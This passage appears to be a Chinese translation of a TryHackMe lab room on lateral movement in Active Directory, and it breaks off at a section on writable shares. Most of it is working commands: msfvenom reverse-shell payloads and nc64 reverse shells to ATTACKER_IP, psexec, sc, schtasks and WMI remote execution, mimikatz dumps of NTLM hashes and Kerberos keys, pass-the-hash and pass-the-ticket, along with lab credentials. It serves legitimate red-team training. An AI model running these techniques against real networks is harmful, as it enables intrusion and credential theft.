Introduction

在这个房间里,我们将研究横向移动,攻击者使用一组技术在网络中移动,同时创建尽可能少的警报。 我们将了解为此目的而使用的几种常见技术以及所涉及的工具。

建议在此之前先浏览一下破坏 AD 和枚举 AD 房间。

Moving Through the Network

什么是横向运动?

简而言之,横向移动是攻击者用来在网络中移动的一组技术。 一旦攻击者获得对网络第一台计算机的访问权,出于多种原因,移动就变得至关重要,其中包括: - 实现攻击者的目标 - 绕过现有的网络限制 - 建立额外的网络入口点 - 制造混乱和 避免被发现。

虽然许多网络杀伤链将横向移动视为线性过程的附加步骤,但它实际上是循环的一部分。 在此周期中,我们使用任何可用的凭据来执行横向移动,使我们能够访问新机器,在其中我们可以提升权限并提取凭据(如果可能)。 有了新的凭证,循环又开始了。

通常,我们会重复这个循环几次,然后才能达到网络上的最终目标。 如果我们的第一个立足点是一台几乎无法访问其他网络资源的计算机,那么我们可能需要横向移动到在网络上拥有更多权限的其他主机。

一个简单的例子

假设我们正在执行红队参与,我们的最终目标是到达内部代码存储库,我们通过网络钓鱼活动在目标网络上获得了第一次妥协。 通常,网络钓鱼活动对非技术用户更有效,因此我们的第一次访问可能是通过营销部门的机器进行的。

营销工作站通常会受到防火墙策略的限制,无法访问网络上的任何关键服务,包括管理协议、数据库端口、监控服务或日常工作不需要的任何其他服务,包括代码存储库。

为了到达敏感的主机和服务,我们需要转移到其他主机并从那里转向我们的最终目标。 为此,我们可以尝试提升营销工作站的权限并提取本地用户的密码哈希值。 如果我们找到本地管理员,则其他主机上可能存在相同的帐户。 经过一番侦察,我们发现了一个名为 DEV-001-PC 的工作站。 我们使用本地管理员的密码哈希来访问 DEV-001-PC,并确认它属于公司的一位开发人员所有。 从那里,可以访问我们的目标代码存储库。

请注意,虽然可能需要使用横向移动来规避防火墙限制,但它也有助于逃避检测。 在我们的示例中,即使营销工作站可以直接访问代码存储库,也可能需要通过开发人员的 PC 进行连接。 从检查登录审核日志的蓝队分析师的角度来看,这种行为的可疑性较小。

攻击者的视角

攻击者可以通过多种方式进行横向移动。 最简单的方法是使用标准管理协议(例如 WinRM、RDP、VNC 或 SSH)连接到网络上的其他计算机。 只要在规划与哪个帐户连接的位置时保持一定的一致性,这种方法就可以在某种程度上模拟常规用户的行为。 虽然 IT 部门的用户通过 RDP 连接到 Web 服务器可能很常见并且不会受到关注,但必须注意不要尝试可疑的连接(例如,为什么本地管理员用户从营销部门连接到 DEV-001-PC) 个人电脑?)。

如今,攻击者还可以使用其他横向移动方法,同时使蓝队有效检测正在发生的情况变得更具挑战性。 虽然没有任何技术应该被认为是万无一失的,但我们至少可以尝试尽可能保持沉默。 在接下来的任务中,我们将了解一些最常见的横向运动技术。

管理员和UAC

在执行整个房间中介绍的大部分横向移动技术时,我们将主要使用管理员凭据。 虽然人们可能期望每个管理员帐户都具有相同的目的,但必须区分两种类型的管理员:

  • 本地帐户属于本地管理员组的一部分
  • 域帐户是本地管理员组的一部分

我们感兴趣的差异是用户帐户控制 (UAC) 对本地管理员(默认管理员帐户除外)施加的限制。 默认情况下,除非通过 RDP 使用交互式会话,否则本地管理员将无法远程连接到计算机并执行管理任务。 Windows 将拒绝通过 RPC、SMB 或 WinRM 请求的任何管理任务,因为此类管理员将使用经过过滤的介质完整性令牌登录,从而防止帐户执行特权操作。 唯一获得完全权限的本地帐户是默认管理员帐户。

具有本地管理权限的域帐户不会受到相同的处理,并且将以完全管理权限登录。

如果需要,可以禁用此安全功能,有时您会发现管理员组中的本地帐户和域帐户之间没有区别。 不过,重要的是要记住,如果某些横向移动技术失败,可能是由于使用了强制执行 UAC 的非默认本地管理员。 您可以在此处阅读有关此安全功能的更多详细信息。

Spawning Processes Remotely

此任务将研究攻击者远程生成进程的可用方法,允许他们在拥有有效凭据的计算机上运行命令。 所讨论的每种技术都使用略有不同的方法来实现相同的目的,其中一些可能更适合某些特定场景。

Psexec

  • 端口: 445/TCP (SMB)
  • 所需的组成员资格: 管理员

多年来,Psexec 一直是需要远程执行进程时的首选方法。 它允许管理员用户在他有权访问的任何 PC 上远程运行命令。 Psexec 是众多 Sysinternals 工具之一,可以在此处下载。

psexec 的工作方式如下:

  1. 连接到 Admin$ 共享并上传服务二进制文件。 Psexec 使用 psexesvc.exe 作为名称。
  2. 连接到服务控制管理器以创建并运行名为 PSEXESVC 的服务,并将该服务二进制文件与“C:\Windows\psexesvc.exe”关联。
  3. 创建一些命名管道来处理stdin/stdout/stderr。

psexec explained

要运行 psexec,我们只需提供远程主机所需的管理员凭据以及我们要运行的命令(为方便起见,psexec64.exe 可在 THMJMP2 中的 C:\tools 下找到):

psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

使用 WinRM 创建远程进程

  • 端口: 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
  • 所需的组成员身份: 远程管理用户

Windows 远程管理 (WinRM) 是一种基于 Web 的协议,用于远程向 Windows 主机发送 Powershell 命令。 大多数 Windows Server 安装都会默认启用 WinRM,这使其成为一个有吸引力的攻击媒介。

要从命令行连接到远程 Powershell 会话,我们可以使用以下命令:

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

我们可以从 Powershell 实现相同的目的,但要传递不同的凭据,我们需要创建一个 PSCredential 对象:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

获得 PSCredential 对象后,我们可以使用 Enter-PSSession cmdlet 创建交互式会话:

Enter-PSSession -Computername TARGET -Credential $credential

Powershell 还包括 Invoke-Command cmdlet,它通过 WinRM 远程运行 ScriptBlocks。 凭证也必须通过 PSCredential 对象传递:

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
  1. 使用 sc 远程创建服务

    • 端口:
      • 135/TCP、49152-65535/TCP(DCE/RPC)
      • 445/TCP(基于 SMB 命名管道的 RPC)
      • 139/TCP(基于 SMB 命名管道的 RPC)
    • 所需的组成员资格: 管理员
  2. Windows 服务也可用于运行任意命令,因为它们在启动时执行命令。 虽然服务可执行文件在技术上与常规应用程序不同,但如果我们配置 Windows 服务来运行任何应用程序,它仍然会执行该应用程序并随后失败。

  3. 我们可以使用 sc.exe(Windows 中提供的标准工具)在远程主机上创建服务。 使用sc时,它会通过几种方式尝试通过RPC连接到Service Control Manager(SVCCTL)远程服务程序:

    1. 将使用 DCE/RPC 进行连接尝试。 客户端将首先在端口 135 连接到端点映射器 (EPM),该端点映射器充当可用 RPC 端点的目录并请求有关 SVCCTL 服务程序的信息。 然后,EPM 将响应 IP 和端口以连接到 SVCCTL,该端口通常是 49152-65535 范围内的动态端口。
    2. 通过 RPC 的 svcctl
  4. 如果后一个连接失败,sc 将尝试通过端口 445 (SMB) 或 139(基于 NetBIOS 的 SMB)上的 SMB 命名管道到达 SVCCTL。

  5. svcctl via named pipe

我们可以使用以下命令创建并启动名为“THMservice”的服务:

sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

服务启动时将执行“net user”命令,在系统上创建一个新的本地用户。 由于操作系统负责启动服务,因此您将无法查看命令输出。

要停止并删除该服务,我们可以执行以下命令:

sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

远程创建计划任务

我们可以使用的另一个 Windows 功能是计划任务。 您可以使用 schtasks 远程创建并运行一个任务,该任务可在任何 Windows 安装中使用。 要创建名为 THMtask1 的任务,我们可以使用以下命令:

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1"

我们将计划类型 (/sc) 设置为 ONCE,这意味着该任务仅在指定的时间和日期运行一次。 由于我们将手动运行任务,因此开始日期 (/sd) 和开始时间 (/st) 无论如何都不重要。

由于系统将运行计划任务,因此我们将无法获得该命令的输出,这使得这是一种盲目攻击。

最后,要删除计划任务,我们可以使用以下命令并自行清理:

schtasks /S TARGET /TN "THMtask1" /DELETE /F

让我们开始工作吧!

要完成此练习,您需要使用在任务 1 中从 http://distributor.za.tryhackme.com/creds 分配给您的凭据连接到 THMJMP2。 如果您还没有这样做,请单击链接并立即获取凭据。 获得凭据后,通过 SSH 连接到 THMJMP2:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

对于本练习,我们假设我们已经捕获了一些具有管理访问权限的凭据:

用户: ZA.TRYHACKME.COM\t1_leonard.summers

密码: EZpass4ever

我们将展示如何使用这些凭据通过“sc.exe”横向移动到 THMIIS。 请随意尝试其他方法,因为它们都应该适用于 THMIIS。

虽然我们已经展示了如何使用 sc 在远程系统上创建用户(通过使用“net user”),但我们还可以上传我们想要执行的任何二进制文件并将其与创建的服务关联。 但是,如果我们尝试使用此方法运行反向 shell,我们会注意到反向 shell 在执行后立即断开连接。 原因是服务可执行文件与标准 .exe 文件不同,因此非服务可执行文件几乎会立即被服务管理器杀死。 对我们来说幸运的是,msfvenom 支持“exe-service”格式,它将我们喜欢的任何有效负载封装在功能齐全的服务可执行文件中,防止其被杀死。

要创建反向shell,我们可以使用以下命令:

注意: 由于您将与其他人共享实验室,因此您需要为有效负载使用不同的文件名,而不是“myservice.exe”,以避免覆盖其他人的有效负载。

攻击盒

user@AttackBox$ msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=ATTACKER_IP LPORT=4444 -o myservice.exe

然后,我们将继续使用 t1_leonard.summers 凭据,使用 AttackBox 中的 smbclient 将有效负载上传到 THMIIS 的 ADMIN$ 共享:

攻击盒

user@AttackBox$ smbclient -c 'put myservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
putting file myservice.exe as \myservice.exe (0.0 kb/s) (average 0.0 kb/s)

上传可执行文件后,我们将在攻击者的计算机上设置一个侦听器,以从“msfconsole”接收反向 shell:

攻击盒

user@AttackBox$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.10.16:4444

或者,您可以在 Linux 控制台上运行以下单行代码来执行相同的操作:

攻击盒

user@AttackBox$ msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"

由于“sc.exe”不允许我们在命令中指定凭据,因此我们需要使用“runas”来生成带有 t1_leonard.summer 的访问令牌的新 shell。 尽管如此,我们只能通过 SSH 访问机器,因此,如果我们尝试类似“runas /netonly /user:ZA\t1_leonard.summers cmd.exe”之类的命令,新的命令提示符将在用户会话中生成,但我们不会 访问它。 为了解决这个问题,我们可以使用 runas 生成带有 t1_leonard.summers 访问令牌的第二个反向 shell:

THMJMP2:命令提示符

C:\> runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4443"

注意: 请记住,由于您使用带有“/netonly”选项的“runas”,因此不会费心检查提供的凭据是否有效(更多信息请参见[枚举 AD 房间](https: //tryhackme.com/room/adenumeration)),因此请务必正确输入密码。 如果不这样做,您稍后会在房间中看到一些 ACCESS DENIED 错误。

我们可以像往常一样在 AttackBox 中使用 nc 接收反向 shell 连接:

攻击盒

user@AttackBox$ nc -lvp 4443

最后,继续使用 sc 远程创建一个新服务,并将其与我们上传的二进制文件关联起来:

THMJMP2:命令提示符(如t1_leonard.summers)

C:\> sc.exe \\thmiis.za.tryhackme.com create THMservice-3249 binPath= "%windir%\myservice.exe" start= auto
C:\> sc.exe \\thmiis.za.tryhackme.com start THMservice-3249

请务必更改您的服务名称,以避免与其他学生发生冲突。

启动该服务后,您应该会在 AttackBox 中收到一个连接,您可以从该连接访问 t1_leonard.summers 桌面上的第一个标志。

Moving Laterally Using WMI

我们还可以使用 Windows Management Instrumentation (WMI) 以不同的方式执行上一个任务中讨论的许多技术。 WMI 是基于 Web 的企业管理 (WBEM) 的 Windows 实现,WBEM 是跨设备访问管理信息的企业标准。

简单来说,WMI 允许管理员执行标准管理任务,攻击者可以滥用这些任务以各种方式执行横向移动,我们将对此进行讨论。

从 Powershell 连接到 WMI

在能够使用 Powershell 命令连接到 WMI 之前,我们需要使用我们的用户和密码创建一个 PSCredential 对象。 该对象将存储在 $credential 变量中,并在该任务的整个技术中使用:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

然后,我们继续使用以下协议之一建立 WMI 会话:

  • DCOM: RPC over IP 将用于连接到 WMI。 该协议使用端口 135/TCP 和端口 49152-65535/TCP,正如使用 sc.exe 时所解释的那样。
  • Wsman: WinRM 将用于连接到 WMI。 此协议使用端口 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)。

要从 Powershell 建立 WMI 会话,我们可以使用以下命令并将会话存储在 $Session 变量中,我们将在整个房间中使用不同的技术:

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

New-CimSessionOption cmdlet 用于配置 WMI 会话的连接选项,包括连接协议。 然后,选项和凭据将传递到“New-CimSession”cmdlet,以建立针对远程主机的会话。

使用 WMI 远程创建进程

  • 端口:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
  • 所需的组成员资格: 管理员

我们可以利用 Windows Management Instrumentation (WMI) 从 Powershell 远程生成一个进程,向 Win32_Process 类发送 WMI 请求,以在我们之前创建的会话下生成该进程:

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}

请注意,WMI 不允许您查看任何命令的输出,但确实会静默创建所需的进程。

在旧系统上,可以在命令提示符下使用 wmic 完成相同的操作:

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

使用 WMI 远程创建服务

  • 端口:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
  • 所需的组成员资格: 管理员

我们可以通过Powershell使用WMI创建服务。 要创建名为 THMService2 的服务,我们可以使用以下命令:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

然后,我们可以获取该服务的句柄并使用以下命令启动它:

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService

最后,我们可以使用以下命令停止并删除该服务:

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

使用 WMI 远程创建计划任务

  • 端口:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
  • 所需的组成员资格: 管理员

我们可以使用 Windows 默认安装中提供的一些 cmdlet 创建并执行计划任务:

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

要在使用完计划任务后将其删除,我们可以使用以下命令:

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

通过 WMI 安装 MSI 包

  • 端口:
    • 135/TCP, 49152-65535/TCP (DCERPC)
    • 5985/TCP (WinRM HTTP) 或 5986/TCP (WinRM HTTPS)
  • 所需的组成员资格: 管理员

MSI 是一种用于安装程序的文件格式。 如果我们可以将 MSI 包复制到目标系统,那么我们就可以使用 WMI 尝试为我们安装它。 攻击者可以通过任何可用的方式复制该文件。 一旦 MSI 文件位于目标系统中,我们就可以尝试通过 WMI 调用 Win32_Product 类来安装它:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

我们可以通过在遗留系统中使用 wmic 来实现相同的目的:

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

让我们开始工作吧!

要完成此练习,您需要使用在任务 1 中从 http://distributor.za.tryhackme.com/creds 分配给您的凭据连接到 THMJMP2。 如果您还没有这样做,请单击链接并获取凭据。 获得凭据后,通过 SSH 连接到 THMJMP2:

ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

对于本练习,我们假设我们已经捕获了一些具有管理访问权限的凭据:

用户: ZA.TRYHACKME.COM\t1_corine.waters

密码: Korine.1994

我们将展示如何使用这些凭据通过 WMI 和 MSI 包横向移动到 THM-IIS。 请随意尝试此任务中介绍的其他方法。

我们将首先使用攻击者机器上的 msfvenom 创建 MSI 有效负载:

注意: 由于您将与其他人共享实验室,因此您需要为有效负载使用不同的文件名,而不是“myinstaller.msi”,以避免覆盖其他人的有效负载。

攻击盒

user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > myinstaller.msi

然后,我们使用 SMB 或任何其他可用的方法复制有效负载:

攻击盒

user@AttackBox$ smbclient -c 'put myinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
putting file myinstaller.msi as \myinstaller.msi (0.0 kb/s) (average 0.0 kb/s)

由于我们将有效负载复制到 ADMIN$ 共享,因此它将在服务器上的 C:\Windows\ 中可用。

我们启动一个处理程序来接收来自 Metasploit 的反向 shell:

攻击盒

msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4445
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.10.10.16:4445

让我们从 Powershell 控制台启动针对 THMIIS 的 WMI 会话:

THMJMP2:Powershell

PS C:\> $username = 't1_corine.waters';
PS C:\> $password = 'Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM
PS C:\> $Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop

然后,我们从 Win32_Product 类调用 Install 方法来触发有效负载:

THMJMP2:Powershell

PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

因此,您应该在 AttackBox 中收到一个连接,您可以通过该连接访问 t1_corine.waters 桌面上的标志。

Use of Alternate Authentication Material

通过替代身份验证材料,我们指的是可用于访问 Windows 帐户而无需实际知道用户密码本身的任何数据。 这是可能的,因为 Windows 网络使用的某些身份验证协议的工作方式。 在此任务中,我们将研究当网络上存在以下任一身份验证协议时可作为用户登录的几种替代方案:

  • NTLM身份验证
  • Kerberos 身份验证

注意: 在此任务中,假设您熟悉从主机提取凭据的方法和工具。 Mimikatz 将被用作整个房间中凭证提取的首选工具。

NTLM 身份验证

在深入研究实际的横向移动技术之前,我们先看一下 NTLM 身份验证的工作原理:

NTLM authentication

  1. 客户端向想要访问的服务器发送身份验证请求。
  2. 服务器生成一个随机数并将其作为质询发送给客户端。
  3. 客户端将其 NTLM 密码哈希与质询(以及其他已知数据)结合起来,生成对质询的响应,并将其发送回服务器进行验证。
  4. 服务器将质询和响应转发给域控制器进行验证。
  5. 域控制器使用质询重新计算响应并将其与客户端发送的初始响应进行比较。 如果两者匹配,则客户端通过身份验证; 否则,访问将被拒绝。 认证结果发送回服务器。
  6. 服务器将认证结果转发给客户端。

注意: 所描述的过程适用于使用域帐户时。 如果使用本地帐户,服务器可以验证对质询本身的响应,而无需与域控制器交互,因为它的 SAM 上本地存储有密码哈希值。

传递哈希值

从我们获得管理权限的主机中提取凭据(通过使用 mimikatz 或类似工具)后,我们可能会获得可以轻松破解的明文密码或哈希值。 然而,如果我们不够幸运,我们最终会得到未破解的 NTLM 密码哈希值。

尽管我们似乎无法真正使用这些哈希值,但只需知道密码哈希值即可响应身份验证期间发送的 NTLM 质询。 这意味着我们可以在不需要知道明文密码的情况下进行身份验证。 如果 Windows 域配置为使用 NTLM 身份验证,则无需破解 NTLM 哈希值,我们就可以传递哈希值 (PtH) 并成功进行身份验证。

要提取 NTLM 哈希值,我们可以使用 mimikatz 读取本地 SAM 或直接从 LSASS 内存中提取哈希值。

从本地 SAM 中提取 NTLM 哈希值:

此方法仅允许您从计算机上的本地用户获取哈希值。 没有域用户的哈希值可用。

THMJMP2:Powershell

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # lsadump::sam
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 145e02c50333951f71d13c245d352b50

从 LSASS 内存中提取 NTLM 哈希值:

此方法将允许您提取本地用户和最近登录到计算机的任何域用户的任何 NTLM 哈希值。

THMJMP2:Powershell

mimikatz # privilege::debug
mimikatz # token::elevate

mimikatz # sekurlsa::msv
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session : RemoteInteractive from 2
User Name : bob.jenkins
Domain : ZA
Logon Server : THMDC
Logon Time : 2022/04/22 09:55:02
SID : S-1-5-21-3330634377-1326264276-632209373-4605
msv :
[00000003] Primary
* Username : bob.jenkins
* Domain : ZA
* NTLM : 6b4a57f67805a663c818106dc0648484

然后,我们可以使用提取的哈希值来执行 PtH 攻击,方法是使用 mimikatz 在反向 shell(或您喜欢的任何其他命令)上为受害者用户注入访问令牌,如下所示:

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

请注意,我们使用“token::revert”来重新建立原始令牌权限,因为尝试使用提升的令牌传递哈希将不起作用。

这相当于使用“runas /netonly”,但使用哈希而不是密码,并将生成一个新的反向 shell,我们可以从其中以受害者用户身份启动任何命令。

要接收反向 shell,我们应该在 AttackBox 上运行反向侦听器:

攻击盒

user@AttackBox$ nc -lvp 5555

有趣的是,如果您在此 shell 上运行 whoami 命令,它仍然会显示您在执行 PtH 之前使用的原始用户,但从这里运行的任何命令实际上都会使用我们使用 PtH 注入的凭据。

使用 Linux 传递哈希:

如果您可以访问 Linux 盒子(如 AttackBox),有几个工具具有内置支持,可以使用不同的协议执行 PtH。 根据您可以使用的服务,您可以执行以下操作:

使用 PtH 连接到 RDP:

xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH

使用 PtH 通过 psexec 连接:

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP

注意: 只有 Linux 版本的 psexec 支持 PtH。

使用 PtH 连接到 WinRM:

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Kerberos Authentication

让我们快速了解一下 Kerberos 身份验证在 Windows 网络上的工作原理:

  1. 用户将其用户名和使用从其密码派生的密钥加密的时间戳发送到 **密钥分发中心 (KDC)**,该服务通常安装在域控制器上,负责在网络上创建 Kerberos 票证。

    KDC 将创建并发回 票证授予票证 (TGT),允许用户请求票证以访问特定服务,而无需将其凭据传递给服务本身。 与 TGT 一起,还会向用户提供一个会话密钥,用户将需要该密钥来生成后续请求。

    请注意,TGT 使用 krbtgt 帐户的密码哈希进行加密,因此用户无法访问其内容。 重要的是要知道加密的 TGT 包括会话密钥的副本作为其内容的一部分,并且 KDC 不需要存储会话密钥,因为它可以在需要时通过解密 TGT 来恢复副本。

  2. Kerberos get TGT

  3. 当用户想要连接到网络上的服务(例如共享、网站或数据库)时,他们将使用 TGT 向 KDC 请求**票证授予服务 (TGS)**。 TGS 是只允许连接到为其创建的特定服务的票证。 要请求 TGS,用户将发送他的用户名和使用会话密钥加密的时间戳,以及 TGT 和 **服务主体名称 (SPN)**,它指示我们打算访问的服务和服务器名称。

    因此,KDC 将向我们发送 TGS 和 服务会话密钥,我们需要对我们想要访问的服务进行身份验证。 TGS 使用服务所有者哈希进行加密。 服务所有者是运行服务的用户或计算机帐户。 TGS 在其加密内容上包含服务会话密钥的副本,以便服务所有者可以通过解密 TGS 来访问它。

  4. Kerberos get TGS

  5. 然后可以将 TGS 发送到所需的服务以进行身份验证并建立连接。 该服务将使用其配置的帐户的密码哈希来解密 TGS 并验证服务会话密钥。

  6. Kerberos authenticate

Pass-the-Ticket

有时可以使用 mimikatz 从 LSASS 内存中提取 Kerberos 票证和会话密钥。 该过程通常需要我们在被攻击的机器上拥有 SYSTEM 权限,可以按如下方式完成:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

请注意,如果我们只能访问票证而不能访问其相应的会话密钥,则我们将无法使用该票证; 因此,两者都是必要的。

虽然 mimikatz 可以从 LSASS 进程的内存中提取任何可用的 TGT 或 TGS,但大多数时候,我们会对 TGT 感兴趣,因为它们可用于请求访问允许用户访问的任何服务。 同时,TGS 仅适用于特定服务。 提取 TGT 需要我们拥有管理员凭据,并且可以使用低权限帐户(仅分配给该帐户的帐户)来提取 TGS。

一旦我们提取了所需的票证,我们就可以使用以下命令将票证注入当前会话:

mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi

在我们自己的会话中注入票证不需要管理员权限。 此后,我们用于横向移动的任何工具都可以使用门票。 要检查票证是否已正确注入,您可以使用 klist 命令:

THMJMP2:Powershell

za\bob.jenkins@THMJMP2 C:\> klist

Current LogonId is 0:0x1e43562

Cached Tickets: (1)

#0> Client: Administrator @ ZA.TRYHACKME.COM
Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 4/12/2022 0:28:35 (local)
End Time: 4/12/2022 10:28:35 (local)
Renew Time: 4/23/2022 0:28:35 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: THMDC.za.tryhackme.com

Overpass-the-hash / Pass-the-Key

这种攻击与 PtH 类似,但适用于 Kerberos 网络。

当用户请求 TGT 时,他们会发送使用从其密码派生的加密密钥加密的时间戳。 用于派生此密钥的算法可以是 DES(在当前 Windows 版本上默认禁用)、RC4、AES128 或 AES256,具体取决于安装的 Windows 版本和 Kerberos 配置。 如果我们拥有这些密钥中的任何一个,我们可以向 KDC 请求 TGT,而无需实际密码,因此得名**传递密钥 (PtK)**。

我们可以通过使用 mimikatz 和以下命令从内存中获取 Kerberos 加密密钥:

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

根据可用的密钥,我们可以在 mimikatz 上运行以下命令,以通过密钥传递来获取反向 shell(为了方便起见,THMJMP2 中已经提供了“nc64”):

如果我们有 RC4 哈希:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

如果我们有 AES128 哈希:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

如果我们有 AES256 哈希:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

请注意,使用 RC4 时,密钥将等于用户的 NTLM 哈希值。 这意味着,如果我们可以提取 NTLM 哈希,只要 RC4 是启用的协议之一,我们就可以使用它来请求 TGT。 这种特殊的变体通常被称为**Overpass-the-Hash (OPtH)**。

要接收反向 shell,我们应该在 AttackBox 上运行反向侦听器:

攻击盒

user@AttackBox$ nc -lvp 5556

就像 PtH 一样,从此 shell 运行的任何命令都将使用通过 mimikatz 注入的凭据。

让我们开始工作吧!

要开始本练习,您需要使用以下凭据通过 SSH 连接到 THMJMP2:

User: ZA.TRYHACKME.COM\t2_felicia.dean

Password: iLov3THM!

ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com

这些凭据将授予您对 THMJMP2 的管理访问权限,允许您使用 mimikatz 转储执行此任务期间提供的任何技术所需的身份验证材料。

使用您的 SSH 会话,使用 mimikatz 提取身份验证材料,并对域用户“t1_toby.beck”执行 Pass-the-Hash、Pass-the-Ticket 或 Pass-the-Key。

一旦您的命令提示符已加载其凭据,请使用“winrs”连接到 THMIIS 上的命令提示符。 由于任何攻击都已将 t1_toby.beck 的凭据注入到您的会话中,因此您可以使用 winrs 而不指定任何凭据,并且它将使用当前会话可用的凭据:

winrs.exe -r:THMIIS.za.tryhackme.com cmd

您会在 THMIIS 上 t1_toby.beck 的桌面上找到一个标志。 mimikatzpsexec64 都可以在 THMJMP2 上的 C:\tools 中找到。

Abusing User Behaviour

在某些情况下,攻击者可以利用用户执行的操作来进一步访问网络中的计算机。 虽然发生这种情况的方式有很多种,但我们将讨论一些最常见的方式。

滥用可写共享

